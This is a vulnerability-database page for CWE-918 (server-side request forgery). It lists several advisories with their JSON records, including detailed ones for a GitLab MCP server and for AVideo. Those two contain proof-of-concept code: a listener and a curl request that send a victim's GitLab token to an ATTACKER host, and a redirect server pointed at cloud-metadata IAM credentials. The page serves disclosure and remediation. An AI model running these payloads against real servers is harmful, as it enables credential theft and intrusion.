GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5862 vulnerabilities reference this CWE, most recent first.

GHSA-2GQ9-2C38-4PVG

Vulnerability from github – Published: 2025-11-18 15:30 – Updated: 2025-11-18 15:30
VLAI
Details

The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.8 via the rest_helpers_create_images function. This makes it possible for authenticated attackers, with Editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-18T15:16:38Z",
    "severity": "MODERATE"
  },
  "details": "The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.8 via the rest_helpers_create_images function. This makes it possible for authenticated attackers, with Editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.",
  "id": "GHSA-2gq9-2c38-4pvg",
  "modified": "2025-11-18T15:30:56Z",
  "published": "2025-11-18T15:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8084"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ai-engine/tags/2.9.5/classes/rest.php#L742"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ai-engine/tags/2.9.5/classes/services/image.php#L89"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3b497bc0-bf47-43c7-9d5f-8e130dd0bab2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GR8-2HF5-X695

Vulnerability from github – Published: 2026-04-22 00:31 – Updated: 2026-04-28 21:36
VLAI
Details

A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
8.9 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
8.9 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T23:16:22Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance\u0027s open redirect endpoint through an external redirect to reach internal services.\u00a0This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-2gr8-2hf5-x695",
  "modified": "2026-04-28T21:36:01Z",
  "published": "2026-04-22T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5921"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.26"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.21"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.17"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.8"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.5"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2H44-8472-FRJJ

Vulnerability from github – Published: 2026-09-15 20:57 – Updated: 2026-09-15 20:57
VLAI
Summary
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
Details

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

  • Repository: zereight/gitlab-mcp
  • Affected versions: All versions through commit 74a8c83
  • Patched versions: None at time of report

Severity

High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

Description

When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

SSE handler (index.ts:11541):

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check
}

Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  new URL(dynamicApiUrl);                          // syntax-only check
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted
}

In both cases, apiUrl propagates through getEffectiveApiUrl() and into getFetchConfig(), which attaches Private-Token: <victim_token> to every outbound fetch. The token reaches the attacker's host, not GitLab.

Proof of Concept

Run upstream zereight/gitlab-mcp at commit 74a8c83 with ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.

# 1. Start a listener on the attacker host (port 9099)
#    Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

The listener receives:

GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors: - PR:L: reaching the HTTP transport requires presenting some auth token - S:C: the attack crosses the boundary into GitLab (a separate security domain) - C:H: victim's GitLab token stolen in one request; full read of all scoped data - I:H: attacker can push code and modify pipelines with the stolen token - A:N: the MCP server continues operating normally

Why This Is a Vulnerability, Not Intended Behavior

ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes X-GitLab-API-URL can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.

PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless REMOTE_AUTHORIZATION=true or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify parseAuthHeaders, does not validate X-GitLab-API-URL, and does not restrict the token-forwarding path at runtime. The SSRF sink at index.ts:11787 is unchanged in the current code and fully reachable in the documented multi-user deployment mode (REMOTE_AUTHORIZATION=true).

Remediation

Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab hostnames before assigning the value to apiUrl. Reject any request whose X-GitLab-API-URL hostname is not in the allowlist. Apply this check at both index.ts:11541 and index.ts:11787.

Example fix for the Streamable HTTP handler:

const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
  .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  const parsed = new URL(dynamicApiUrl);
  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
  }
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}

Document GITLAB_ALLOWED_HOSTS in the README alongside ENABLE_DYNAMIC_API_URL. If maintaining an allowlist is not feasible, disable ENABLE_DYNAMIC_API_URL by default and document the token-forwarding risk prominently.

Credit

Reported via GitHub Security Advisory on 2026-06-07.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "fixed": "2.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-15T20:57:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft\n\n## Affected\n\n- **Repository:** `zereight/gitlab-mcp`\n- **Affected versions:** All versions through commit `74a8c83`\n- **Patched versions:** None at time of report\n\n## Severity\n\nHigh. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)\n\n## Description\n\nWhen the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server\nreads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for\nall outbound GitLab API calls made within that request. The server validates that\nthe value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no\nallowlist or hostname restriction. The server then attaches the victim\u0027s\n`Private-Token` to every outbound fetch that uses the redirected URL.\n\nAny caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an\nattacker-controlled host. The next GitLab API call the server makes delivers the\nvictim\u0027s token to that host.\n\nThe vulnerable code appears at two locations.\n\n**SSE handler (`index.ts:11541`):**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check\n}\n```\n\n**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  new URL(dynamicApiUrl);                          // syntax-only check\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted\n}\n```\n\nIn both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into\n`getFetchConfig()`, which attaches `Private-Token: \u003cvictim_token\u003e` to every\noutbound fetch. The token reaches the attacker\u0027s host, not GitLab.\n\n## Proof of Concept\n\nRun upstream `zereight/gitlab-mcp` at commit `74a8c83` with\n`ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.\n\n```bash\n# 1. Start a listener on the attacker host (port 9099)\n#    Any HTTP server that logs incoming headers will work.\npython3 -c \"\nimport http.server, sys\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\u0027HEADERS:\u0027, dict(self.headers))\n        self.send_response(200); self.end_headers()\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9099), H).serve_forever()\n\"\n\n# 2. Send any MCP tool call with the malicious header\ncurl -X POST http://TARGET:3002/mcp \\\n  -H \"X-GitLab-API-URL: http://ATTACKER:9099/api/v4\" \\\n  -H \"Authorization: Bearer ANY_VALID_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"params\":{\"name\":\"list_issues\",\"arguments\":{\"project_id\":\"1\"}},\"id\":1}\u0027\n```\n\nThe listener receives:\n\n```\nGET /api/v4/projects/1/issues HTTP/1.1\nprivate-token: \u003cVICTIM_GITLAB_TOKEN\u003e\nHost: ATTACKER:9099\n```\n\nThe victim\u0027s token arrives at the attacker host. The attacker never needed it\nin advance. The MCP server delivered it.\n\n## Impact\n\nThe attacker obtains the victim\u0027s GitLab Personal Access Token or CI/CD job\ntoken in a single request. With the stolen token they gain full GitLab API\naccess at the victim\u0027s permission level: read of all repositories, issues,\nmerge requests, CI/CD pipeline definitions and variables/secrets; write to push\ncode, modify pipelines, create or delete resources, and rotate CI/CD variables.\n\nCVSS factors:\n- `PR:L`: reaching the HTTP transport requires presenting some auth token\n- `S:C`: the attack crosses the boundary into GitLab (a separate security domain)\n- `C:H`: victim\u0027s GitLab token stolen in one request; full read of all scoped data\n- `I:H`: attacker can push code and modify pipelines with the stolen token\n- `A:N`: the MCP server continues operating normally\n\n## Why This Is a Vulnerability, Not Intended Behavior\n\n`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab\ninstances at a non-default base URL. The intended caller behavior is to supply\nthe URL of their own GitLab instance. The feature has no mechanism to distinguish\na legitimate self-hosted GitLab URL from an attacker-controlled host. Once\nenabled, every request that includes `X-GitLab-API-URL` can redirect the server\u0027s\ncredential-carrying outbound calls to any reachable host with no restriction.\n\nPR #453 (merged) added a startup guard that blocks the Streamable HTTP transport\nfrom running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is\nconfigured. That guard runs once at server startup and checks transport\nconfiguration. It does not modify `parseAuthHeaders`, does not validate\n`X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime.\nThe SSRF sink at `index.ts:11787` is unchanged in the current code and fully\nreachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).\n\n## Remediation\n\nValidate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab\nhostnames before assigning the value to `apiUrl`. Reject any request whose\n`X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both\n`index.ts:11541` and `index.ts:11787`.\n\nExample fix for the Streamable HTTP handler:\n\n```typescript\nconst ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? \"\")\n  .split(\",\").map(h =\u003e h.trim()).filter(Boolean);\n\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  const parsed = new URL(dynamicApiUrl);\n  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {\n    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);\n  }\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);\n}\n```\n\nDocument `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`.\nIf maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by\ndefault and document the token-forwarding risk prominently.\n\n## Credit\n\nReported via GitHub Security Advisory on 2026-06-07.",
  "id": "GHSA-2h44-8472-frjj",
  "modified": "2026-09-15T20:57:29Z",
  "published": "2026-09-15T20:57:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery"
}

GHSA-2H49-CJ6V-Q67P

Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:33
VLAI
Details

An SSRF issue was discovered in the legacy Web launcher in Thycotic Secret Server before 10.7.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-18355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-23T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An SSRF issue was discovered in the legacy Web launcher in Thycotic Secret Server before 10.7.",
  "id": "GHSA-2h49-cj6v-q67p",
  "modified": "2024-04-04T02:33:35Z",
  "published": "2022-05-24T16:59:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18355"
    },
    {
      "type": "WEB",
      "url": "https://thycotic.force.com/support/s/article/SS-RN-EXT-Secret-Server-10-7-000000-Legacy-Release-Notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H63-QP69-FWVW

Vulnerability from github – Published: 2022-01-06 20:35 – Updated: 2022-02-08 21:33
VLAI
Summary
Server-side request forgery (SSRF) in Apache Batik
Details

Apache Batik 1.13 is vulnerable to server-side request forgery, caused by improper input validation by the NodePickerPanel. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.xmlgraphics:batik-svgbrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-26T22:47:21Z",
    "nvd_published_at": "2021-02-24T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Apache Batik 1.13 is vulnerable to server-side request forgery, caused by improper input validation by the NodePickerPanel. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests.",
  "id": "GHSA-2h63-qp69-fwvw",
  "modified": "2022-02-08T21:33:49Z",
  "published": "2022-01-06T20:35:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11987"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/xmlgraphics-batik/commit/0ef5b661a1f77772d1110877ea9e0287987098f6"
    },
    {
      "type": "WEB",
      "url": "https://xmlgraphics.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-11"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/W7EAYO5XIHD6OIEA3HPK64UDDBSLNAC5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JEDID4DAVPECE6O4QQCSIS75BLLBUUAM"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W7EAYO5XIHD6OIEA3HPK64UDDBSLNAC5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JEDID4DAVPECE6O4QQCSIS75BLLBUUAM"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r588d05a0790b40a0eb81088252e1e8c1efb99706631421f17038eb05@%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r588d05a0790b40a0eb81088252e1e8c1efb99706631421f17038eb05%40%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2877ae10e8be56a3c52d03e373512ddd32f16b863f24c2e22f5a5ba2@%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2877ae10e8be56a3c52d03e373512ddd32f16b863f24c2e22f5a5ba2%40%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/BATIK-1284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/xmlgraphics-batik"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-side request forgery (SSRF) in Apache Batik"
}

GHSA-2H78-GC9R-R8WJ

Vulnerability from github – Published: 2026-03-19 21:30 – Updated: 2026-03-19 21:30
VLAI
Details

Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-19T21:17:08Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.",
  "id": "GHSA-2h78-gc9r-r8wj",
  "modified": "2026-03-19T21:30:24Z",
  "published": "2026-03-19T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26138"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26138"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2HCH-C97C-G99X

Vulnerability from github – Published: 2026-05-05 22:16 – Updated: 2026-05-13 14:21
VLAI
Summary
AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()
Details

Summary

Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.

A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.

Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Details

Finding 1: Redirect-Based SSRF Bypass

Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):

// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
    // blocked
} else {
    $imageContent = file_get_contents($imageUrl);  // ← FOLLOWS REDIRECTS!
}

Vulnerable code — objects/EpgParser.php (line ~358–362):

if (!isSSRFSafeURL($this->url)) {
    throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url);  // ← FOLLOWS REDIRECTS!

Safe code for comparison — objects/functions.php, url_get_contents():

$opts = ['http' => ['follow_location' => 0]];  // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
    $fetched = file_get_contents($currentUrl, false, $context);
    // ... parse Location header ...
    if ($redirectTarget) {
        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop
            return false;
        }
        $currentUrl = $redirectTarget;
        continue;
    }
    $tmp = $fetched;
    break;
}

Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).

Finding 2: DNS Rebinding TOCTOU (Multiple Callers)

isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).

Affected callers (no DNS pinning): - objects/aVideoEncoderReceiveImage.json.php — 4 call sites - objects/aVideoEncoder.json.php — 1 call site - plugin/BulkEmbed/save.json.php — 1 call site - plugin/AI/receiveAsync.json.php — 1 call site - objects/EpgParser.php — 1 call site - plugin/Scheduler/Scheduler.php — 1 call site

PoC

Redirect Bypass PoC

  1. Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
  1. Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
  1. isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passes
  2. file_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/... — no SSRF re-check occurs
  3. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker

Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.

DNS Rebinding PoC

  1. Configure a domain with TTL=0 DNS that alternates:
  2. First query: public IP (passes isSSRFSafeURL)
  3. Second query: 127.0.0.1 (reaches internal services)
